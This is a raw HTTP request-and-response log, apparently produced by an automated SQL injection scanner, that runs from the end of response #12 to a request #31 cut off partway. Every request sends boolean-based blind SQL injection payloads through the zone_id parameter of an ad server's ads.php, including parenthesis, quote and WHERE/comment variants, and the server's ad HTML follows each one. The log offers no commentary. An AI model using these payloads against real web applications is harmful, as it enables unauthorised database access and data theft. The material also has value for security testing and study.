<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="28009" def="0" z_id="32" ad_id="154527" qw="1" isave="no" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="32_1356304979" name="32_1356304979" src="http://ads2.SomeOtherURL.com/ads?spot_id=4206" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="32" c_id="28009"  ad_id="154527" def="0" qw="1" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#13]:
GET /ads.php?zone_id=32%29%20AND%201388%3D4097 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#13] (200 OK):
Content-length: 636
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%29%20AND%201388%3D4097
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="28009" def="0" z_id="32" ad_id="154527" qw="1" isave="no" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="32_1356304979" name="32_1356304979" src="http://ads2.SomeOtherURL.com/ads?spot_id=4206" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="32" c_id="28009"  ad_id="154527" def="0" qw="1" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#14]:
GET /ads.php?zone_id=32%29%20AND%201067%3D1721%20AND%20%283908%3D3908 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#14] (200 OK):
Content-length: 636
Set-cookie: tj_UUID=4775e309-bf15-4ab8-a5c4-73a99b2dec1d; Expires=Wed Dec 18 18:22:59 2013
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%29%20AND%201067%3D1721%20AND%20%283908%3D3908
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="28009" def="0" z_id="32" ad_id="154527" qw="1" isave="no" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="32_1356304979" name="32_1356304979" src="http://ads2.SomeOtherURL.com/ads?spot_id=4206" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="32" c_id="28009"  ad_id="154527" def="0" qw="1" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#15]:
GET /ads.php?zone_id=32%29%20AND%203575%3D3575%20AND%20%281077%3D1077 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#15] (200 OK):
Content-length: 659
Set-cookie: tj_fc=cid_73031_expires_1356391379|; Expires=Tue Jan 22 18:22:59 2013
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%29%20AND%203575%3D3575%20AND%20%281077%3D1077
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="73031" def="0" z_id="49" ad_id="466686" qw="0" isave="yes" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="49_1356304979" name="49_1356304979" src="http://media.SomeURL/cdn_custom_ads/crakmedia/USA/6.html" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="49" c_id="73031"  ad_id="466686" def="0" qw="0" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#16]:
GET /ads.php?zone_id=32%29%29%20AND%202328%3D7943%20AND%20%28%288475%3D8475 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#16] (200 OK):
Content-length: 969
Set-cookie: tj_fc=cid_100662_expires_1356391379|; Expires=Tue Jan 22 18:22:59 2013
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%29%29%20AND%202328%3D7943%20AND%20%28%288475%3D8475
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<!DOCTYPE html>
<html>
	<head>
		<!--c_id=100662 def="0" z_id="49" ad_id="843351" qw="0" isave="Yes"-->
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		<title>Ad delivery system</title>
		<style type="text/css">
			<!--
			a img { border: 0; }
			body { margin: 0; padding: 0; text-align: center;}
			-->
		</style>
	</head>
	<body style="background-color:transparent;">
		<a href="http://ads.SomeURL/click?data1=G0TmRaaTvylLFloPzyxj6pHtCpDME9VkRBY_DS1MPTJTZRTJscjVqq408KPYQgzku0YXqEAjrMFlMM_nrbY-tFClKyy-qSXIf9xtf98XaLg6d2MM6cCCw7mL_l9vrGf0WqDnhjoZZc9MVgrw7xYHhl1nXKVER-EOlmIIQAp9yDk=&data2=k0GBOlituWmPO73pdO3p42b3G89ucHS-I8XNu5ly2WeXCkHSk_yZM7v7-OEaknXB&qw=0&def=0&campaign_id=100662&ad_id=843351&zone_id=49&site_id=0&bid_id=230535&goal=0&x=1" target="_blank" rel="nofollow" >
			<img   src="http://media.SomeURL/ads/000/843/351/image843351.gif" alt="" />
		</a>
		
	</body>
</html>

############################################################################

HTTP request [#17]:
GET /ads.php?zone_id=32%29%29%20AND%203575%3D3575%20AND%20%28%282874%3D2874 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#17] (200 OK):
Content-length: 636
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%29%29%20AND%203575%3D3575%20AND%20%28%282874%3D2874
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="28009" def="0" z_id="32" ad_id="154527" qw="1" isave="no" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="32_1356304980" name="32_1356304980" src="http://ads2.SomeOtherURL.com/ads?spot_id=4206" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="32" c_id="28009"  ad_id="154527" def="0" qw="1" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#18]:
GET /ads.php?zone_id=32%29%29%20AND%206156%3D1132%20AND%20%28%285217%3D5217 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#18] (200 OK):
Content-length: 636
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%29%29%20AND%206156%3D1132%20AND%20%28%285217%3D5217
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="28009" def="0" z_id="32" ad_id="154527" qw="1" isave="no" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="32_1356304981" name="32_1356304981" src="http://ads2.SomeOtherURL.com/ads?spot_id=4206" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="32" c_id="28009"  ad_id="154527" def="0" qw="1" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#19]:
GET /ads.php?zone_id=32%29%29%29%20AND%201876%3D5506%20AND%20%28%28%289214%3D9214 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#19] (200 OK):
Content-length: 636
Set-cookie: tj_UUID=c5a1b531-a949-47f1-96a2-555e5752ff07; Expires=Wed Dec 18 18:23:01 2013
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%29%29%29%20AND%201876%3D5506%20AND%20%28%28%289214%3D9214
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="28009" def="0" z_id="32" ad_id="154527" qw="1" isave="no" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="32_1356304981" name="32_1356304981" src="http://ads2.SomeOtherURL.com/ads?spot_id=4206" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="32" c_id="28009"  ad_id="154527" def="0" qw="1" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#20]:
GET /ads.php?zone_id=32%29%29%29%20AND%203575%3D3575%20AND%20%28%28%284463%3D4463 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#20] (200 OK):
Content-length: 969
Set-cookie: tj_fc=cid_100662_expires_1356391381|; Expires=Tue Jan 22 18:23:01 2013
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%29%29%29%20AND%203575%3D3575%20AND%20%28%28%284463%3D4463
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<!DOCTYPE html>
<html>
	<head>
		<!--c_id=100662 def="0" z_id="49" ad_id="844881" qw="0" isave="Yes"-->
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		<title>Ad delivery system</title>
		<style type="text/css">
			<!--
			a img { border: 0; }
			body { margin: 0; padding: 0; text-align: center;}
			-->
		</style>
	</head>
	<body style="background-color:transparent;">
		<a href="http://ads.SomeURL/click?data1=G0TmRaaTvylLFloPzyxj6pHtCpDME9VkRBY_DS1MPTJTZRTJscjVqq408KPYQgzku0YXqEAjrMFlMM_nrbY-tFClKyy-qSXIf9xtf98XaLg6d2MM6cCCw7mL_l9vrGf0WqDnhjoZZc9MVgrw7xYHhmPe6ri2RJD82gNQJdvBRu0=&data2=k0GBOlituWmPO73pdO3p42b3G89ucHS-I8XNu5ly2WeXCkHSk_yZM7v7-OEaknXB&qw=0&def=0&campaign_id=100662&ad_id=844881&zone_id=49&site_id=0&bid_id=230535&goal=0&x=1" target="_blank" rel="nofollow" >
			<img   src="http://media.SomeURL/ads/000/844/881/image844881.gif" alt="" />
		</a>
		
	</body>
</html>

############################################################################

HTTP request [#21]:
GET /ads.php?zone_id=32%20AND%207790%3D6367 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#21] (200 OK):
Content-length: 969
Set-cookie: tj_fc=cid_100662_expires_1356391381|; Expires=Tue Jan 22 18:23:01 2013
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%20AND%207790%3D6367
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<!DOCTYPE html>
<html>
	<head>
		<!--c_id=100662 def="0" z_id="49" ad_id="843351" qw="0" isave="Yes"-->
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		<title>Ad delivery system</title>
		<style type="text/css">
			<!--
			a img { border: 0; }
			body { margin: 0; padding: 0; text-align: center;}
			-->
		</style>
	</head>
	<body style="background-color:transparent;">
		<a href="http://ads.SomeURL/click?data1=G0TmRaaTvylLFloPzyxj6pHtCpDME9VkRBY_DS1MPTJTZRTJscjVqq408KPYQgzku0YXqEAjrMFlMM_nrbY-tFClKyy-qSXIf9xtf98XaLg6d2MM6cCCw7mL_l9vrGf0WqDnhjoZZc9MVgrw7xYHhl1nXKVER-EOlmIIQAp9yDk=&data2=k0GBOlituWmPO73pdO3p42b3G89ucHS-I8XNu5ly2WeXCkHSk_yZM7v7-OEaknXB&qw=0&def=0&campaign_id=100662&ad_id=843351&zone_id=49&site_id=0&bid_id=230535&goal=0&x=1" target="_blank" rel="nofollow" >
			<img   src="http://media.SomeURL/ads/000/843/351/image843351.gif" alt="" />
		</a>
		
	</body>
</html>

############################################################################

HTTP request [#22]:
GET /ads.php?zone_id=32%20AND%203575%3D3575 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#22] (200 OK):
Content-length: 636
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%20AND%203575%3D3575
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="28009" def="0" z_id="32" ad_id="154527" qw="1" isave="no" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="32_1356304981" name="32_1356304981" src="http://ads2.SomeOtherURL.com/ads?spot_id=4206" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="32" c_id="28009"  ad_id="154527" def="0" qw="1" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#23]:
GET /ads.php?zone_id=32%20AND%203430%3D7361 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#23] (200 OK):
Content-length: 659
Set-cookie: tj_fc=cid_73031_expires_1356391381|; Expires=Tue Jan 22 18:23:01 2013
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%20AND%203430%3D7361
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="73031" def="0" z_id="49" ad_id="466686" qw="0" isave="yes" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="49_1356304981" name="49_1356304981" src="http://media.SomeURL/cdn_custom_ads/crakmedia/USA/6.html" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="49" c_id="73031"  ad_id="466686" def="0" qw="0" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#24]:
GET /ads.php?zone_id=32%29%20WHERE%205370%3D5370%20AND%205495%3D1342%20--%20 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#24] (200 OK):
Content-length: 659
Set-cookie: tj_fc=cid_73031_expires_1356391381|; Expires=Tue Jan 22 18:23:01 2013
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%29%20WHERE%205370%3D5370%20AND%205495%3D1342%20--%20
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="73031" def="0" z_id="49" ad_id="466686" qw="0" isave="yes" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="49_1356304981" name="49_1356304981" src="http://media.SomeURL/cdn_custom_ads/crakmedia/USA/6.html" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="49" c_id="73031"  ad_id="466686" def="0" qw="0" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#25]:
GET /ads.php?zone_id=32%29%20WHERE%204253%3D4253%20AND%203575%3D3575%20--%20 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#25] (200 OK):
Content-length: 659
Set-cookie: tj_fc=cid_73031_expires_1356391382|; Expires=Tue Jan 22 18:23:02 2013
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%29%20WHERE%204253%3D4253%20AND%203575%3D3575%20--%20
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="73031" def="0" z_id="49" ad_id="466686" qw="0" isave="yes" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="49_1356304982" name="49_1356304982" src="http://media.SomeURL/cdn_custom_ads/crakmedia/USA/6.html" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="49" c_id="73031"  ad_id="466686" def="0" qw="0" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#26]:
GET /ads.php?zone_id=32%20WHERE%207007%3D7007%20AND%203916%3D8788%20--%20 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#26] (200 OK):
Content-length: 659
Set-cookie: tj_fc=cid_73031_expires_1356391382|; Expires=Tue Jan 22 18:23:02 2013
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%20WHERE%207007%3D7007%20AND%203916%3D8788%20--%20
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="73031" def="0" z_id="49" ad_id="466686" qw="0" isave="yes" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="49_1356304982" name="49_1356304982" src="http://media.SomeURL/cdn_custom_ads/crakmedia/USA/6.html" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="49" c_id="73031"  ad_id="466686" def="0" qw="0" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#27]:
GET /ads.php?zone_id=32%20WHERE%208002%3D8002%20AND%203575%3D3575%20--%20 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#27] (200 OK):
Content-length: 969
Set-cookie: tj_fc=cid_100662_expires_1356391382|; Expires=Tue Jan 22 18:23:02 2013
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%20WHERE%208002%3D8002%20AND%203575%3D3575%20--%20
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<!DOCTYPE html>
<html>
	<head>
		<!--c_id=100662 def="0" z_id="49" ad_id="843351" qw="0" isave="Yes"-->
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		<title>Ad delivery system</title>
		<style type="text/css">
			<!--
			a img { border: 0; }
			body { margin: 0; padding: 0; text-align: center;}
			-->
		</style>
	</head>
	<body style="background-color:transparent;">
		<a href="http://ads.SomeURL/click?data1=G0TmRaaTvylLFloPzyxj6pHtCpDME9VkRBY_DS1MPTJTZRTJscjVqq408KPYQgzku0YXqEAjrMFlMM_nrbY-tFClKyy-qSXIf9xtf98XaLg6d2MM6cCCw7mL_l9vrGf0WqDnhjoZZc9MVgrw7xYHhl1nXKVER-EOlmIIQAp9yDk=&data2=k0GBOlituWmPO73pdO3p42b3G89ucHS-I8XNu5ly2WeXCkHSk_yZM7v7-OEaknXB&qw=0&def=0&campaign_id=100662&ad_id=843351&zone_id=49&site_id=0&bid_id=230535&goal=0&x=1" target="_blank" rel="nofollow" >
			<img   src="http://media.SomeURL/ads/000/843/351/image843351.gif" alt="" />
		</a>
		
	</body>
</html>

############################################################################

HTTP request [#28]:
GET /ads.php?zone_id=32%27%29%20AND%208682%3D6095 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#28] (200 OK):
Content-length: 636
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%27%29%20AND%208682%3D6095
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="28009" def="0" z_id="32" ad_id="154527" qw="1" isave="no" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="32_1356304982" name="32_1356304982" src="http://ads2.SomeOtherURL.com/ads?spot_id=4206" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="32" c_id="28009"  ad_id="154527" def="0" qw="1" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#29]:
GET /ads.php?zone_id=32%27%29%20AND%203575%3D3575 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#29] (200 OK):
Content-length: 969
Set-cookie: tj_fc=cid_100662_expires_1356391382|; Expires=Tue Jan 22 18:23:02 2013
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%27%29%20AND%203575%3D3575
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<!DOCTYPE html>
<html>
	<head>
		<!--c_id=100662 def="0" z_id="49" ad_id="843351" qw="0" isave="Yes"-->
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
		<title>Ad delivery system</title>
		<style type="text/css">
			<!--
			a img { border: 0; }
			body { margin: 0; padding: 0; text-align: center;}
			-->
		</style>
	</head>
	<body style="background-color:transparent;">
		<a href="http://ads.SomeURL/click?data1=G0TmRaaTvylLFloPzyxj6pHtCpDME9VkRBY_DS1MPTJTZRTJscjVqq408KPYQgzku0YXqEAjrMFlMM_nrbY-tFClKyy-qSXIf9xtf98XaLg6d2MM6cCCw7mL_l9vrGf0WqDnhjoZZc9MVgrw7xYHhl1nXKVER-EOlmIIQAp9yDk=&data2=k0GBOlituWmPO73pdO3p42b3G89ucHS-I8XNu5ly2WeXCkHSk_yZM7v7-OEaknXB&qw=0&def=0&campaign_id=100662&ad_id=843351&zone_id=49&site_id=0&bid_id=230535&goal=0&x=1" target="_blank" rel="nofollow" >
			<img   src="http://media.SomeURL/ads/000/843/351/image843351.gif" alt="" />
		</a>
		
	</body>
</html>

############################################################################

HTTP request [#30]:
GET /ads.php?zone_id=32%27%20AND%208867%3D9317 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: ads.SomeURL
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close

HTTP response [#30] (200 OK):
Content-length: 636
Uri: http://ads.SomeURL:80/ads.php?zone_id=32%27%20AND%208867%3D9317
Server: Logger/0.1
Connection: close
Cache-control: private, no-cache, no-cache, proxy-revalidate
Date: 
Content-type: text/html

<HTML><HEAD><TITLE>Ad delivery system</TITLE><meta name="keywords" content="28009" def="0" z_id="32" ad_id="154527" qw="1" isave="no" /> <meta name="description" content="" /> <style type="text/css"><!-- a img   { border: 0; } body    { margin: 0; padding: 0; text-align: center;} --> </style> </HEAD><BODY style="background-color:transparent;"><iframe id="32_1356304982" name="32_1356304982" src="http://ads2.SomeOtherURL.com/ads?spot_id=4206" width="315" height="300" scrolling="no" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" z_id="32" c_id="28009"  ad_id="154527" def="0" qw="1" ></iframe> </BODY></HTML>

############################################################################

HTTP request [#31]:
GET /ads.php?zone_id=32%27%20AND%203575%3D3575 HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00
